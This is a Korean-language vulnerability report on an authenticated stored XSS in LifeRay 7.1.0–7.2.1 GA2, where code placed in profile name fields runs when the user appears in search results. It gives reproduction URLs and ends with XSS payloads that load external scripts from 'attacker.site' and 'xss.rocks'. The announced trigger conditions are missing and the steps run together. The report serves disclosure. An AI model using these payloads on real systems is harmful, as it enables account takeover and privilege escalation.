
LifeRay 7.2.0 GA1에서 MyAccountPortlet을 통해 검색 결과에 의해 실행되는 인증된 저장형 XSS
LifeRay 버전 7.1.0부터 7.2.1 GA2까지, 사용자 계정의 First Name, Middle Name, Last Name 필드는 모두 저장 XSS 문제에 취약합니다. 모든 사용자는 특정 XSS 페이로드로 이 필드를 수정할 수 있으며, 이 페이로드는 데이터베이스에 저장되어 사용자를 "감염"시킵니다. 그런 다음 다른 사용자를 검색하기 위해 검색 기능을 사용할 때 페이로드가 렌더링됩니다. 감염된 사용자가 검색 결과에 표시되면 XSS 페이로드가 실행됩니다.
이 취약점을 통해 공격자는 검색을 통해 XSS 페이로드를 트리거하는 모든 사용자의 컨텍스트에서 임의 코드를 실행할 수 있습니다. 실질적인 측면에서 이는 권한이 없는 사용자에서 관리 사용자로의 권한 상승과 다른 계정 탈취를 통한 수평 이동으로 이어질 수 있습니다. 또한 JavaScript를 통해 실행될 수 있는 모든 것은 다른 사용자의 컨텍스트에서 악용될 수 있습니다.
개념 증명(PoC)에서 볼 수 있듯이 공격자는 기본 컨텍스트에서 외부 스크립트를 쉽게 로드할 수 있으므로 매우 취약합니다.
중요한 세션 쿠키의 대부분은 HTTPOnly로 설정되어 있어 단순한 세션 하이재킹 기술을 대부분 방지합니다. 하지만 구형 브라우저를 사용하는 사용자는 XST 공격으로 인해 더 큰 영향을 받을 수 있습니다.
관리 사용자는 Gogo Shell 및 Groovy Script 명령을 실행할 수 있으므로, 권한이 없는 사용자로부터 시작하여 이 익스플로잇을 이러한 정상적인 기능과 함께 사용하여 호스트 시스템에서 의도치 않은 RCE를 달성할 수도 있습니다.
이 취약점이 트리거되려면 두 가지 조건이 충족되어야 합니다:
조건이 충족되면 다음 단계를 통해 취약점을 악용할 수 있습니다:
계정 설정 섹션으로 이동합니다.
계정 설정 클릭http://mysite.com/user/hacker/manage?p_p_id=com_liferay_my_account_web_portlet_MyAccountPortlet&p_p_lifecycle=0&p_p_auth=??????저장을 클릭합니다.http://mysite.com/user/hacker/home/-/my_sites/sites/available-sites?_com_liferay_site_my_sites_web_portlet_MySitesPortlet_displayStyle=descriptive로 이동하여 오른쪽의 "세 점" 아이콘을 클릭하고 가입을 선택하여 가입할 수 있습니다.http://mysite.com/web/guest/search?q=<내 사용자>
<<SCRIPT>alert("XSS");//<</SCRIPT><SCRIPT SRC="//attacker.site/payload.js"><SCRIPT SRC="//xss.rocks/xss.js"/>보고서 버전 4.0